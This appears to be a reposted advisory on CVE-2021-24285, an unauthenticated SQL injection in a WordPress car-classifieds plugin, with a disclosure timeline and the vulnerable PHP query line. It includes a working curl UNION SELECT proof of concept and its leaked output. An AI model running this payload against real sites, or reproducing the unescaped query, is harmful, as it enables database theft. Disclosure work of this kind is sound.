CVE​​-2021-24285 WordPress Sql注入

admin 2022年3月25日22:11:21评论67 views字数 1851阅读6分10秒阅读模式



CVE​​-2021-24285 WordPress Sql注入


CVE-2021-24285 


    插件名称:wp-plugin:cars-seller-auto-classifieds-script

    受影响的版本:2.1.0(如果有,则可能是较低版本)

    漏洞:注入

    所需的最低访问级别:未认证


披露时间


  • 2021年4月19日:确定并向WPScan公开了问题

  • 2021年4月19日:插件已关闭

  • 2021年4月22日:分配了CVE

  • 2021年4月26日:公开披露


技术细节


        经过 身份验证和未经身份验证的用户都可以使用request_list_request AJAX调用,无法order_id在SQL语句中使用POST参数之前对其进行卫生检查,验证或转义,这会导致SQL注入问题。


漏洞代码:carseller_request_list.php#L248


248:    $result = $wpdb->get_results("SELECT * FROM $tablename CVE-2021-24285 WordPress Sql注入 WHERE id=" . $_POST['order_id']);


Poc:



CVE​​-2021-24285 WordPress Sql注入



curl 'http://<Hostname>/wp-admin/admin-ajax.php'   --data-raw 'action=request_list_request&order_id=-1662 UNION ALL SELECT NULL,NULL,current_user(),current_user(),current_user(),NULL,current_user(),current_user(),NULL-- -'   --compressed   --insecure


     <h1>Request Details</h1>        <table style=" border: 1px solid #999;width:96%" class="order_detail">            <tr>                <td>Request Id</td><td></td>            </tr>            <tr>                <td>Car Title</td><td>Untitled</td>            </tr>            <tr>                <td>Name</td><td>bob@localhost bob@localhost</td>            </tr>            <tr>                <td>Email</td><td>bob@localhost</td>            </tr>            <tr>                <td>Phone</td><td>bob@localhost</td>            </tr>            <tr>                <td>Message</td><td>bob@localhost</td>            </tr>            <tr>                <td colspan="2" align="center"><a href="mailto:bob@localhost" style="background: #2ea2cc;border-color: #0074a2;-webkit-box-shadow: inset 0 1px 0 rgba(120,200,230,.5),0 1px 0 rgba(0,0,0,.15);box-shadow: inset 0 1px 0 rgba(120,200,230,.5),0 1px 0 rgba(0,0,0,.15);color: #fff;text-decoration: none;vertical-align: baseline;display: inline-block;text-decoration: none;font-size: 13px;line-height: 26px;height: 28px;margin: 0;padding: 0 10px 1px;cursor: pointer;border-width: 1px;border-style: solid;-webkit-appearance: none;-webkit-border-radius: 3px;border-radius: 3px;white-space: nowrap;-webkit-box-sizing: border-box;-moz-box-sizing: border-box;box-sizing: border-box;">Reply</a></td>
</tr>
</table> <p style="margin-top:20px; text-align:right;"><a href="#" id="close">Close</a></p>


本文始发于微信公众号(Khan安全攻防实验室):CVE​​-2021-24285 WordPress Sql注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月25日22:11:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE​​-2021-24285 WordPress Sql注入https://cn-sec.com/archives/534747.html

发表评论

匿名网友 填写信息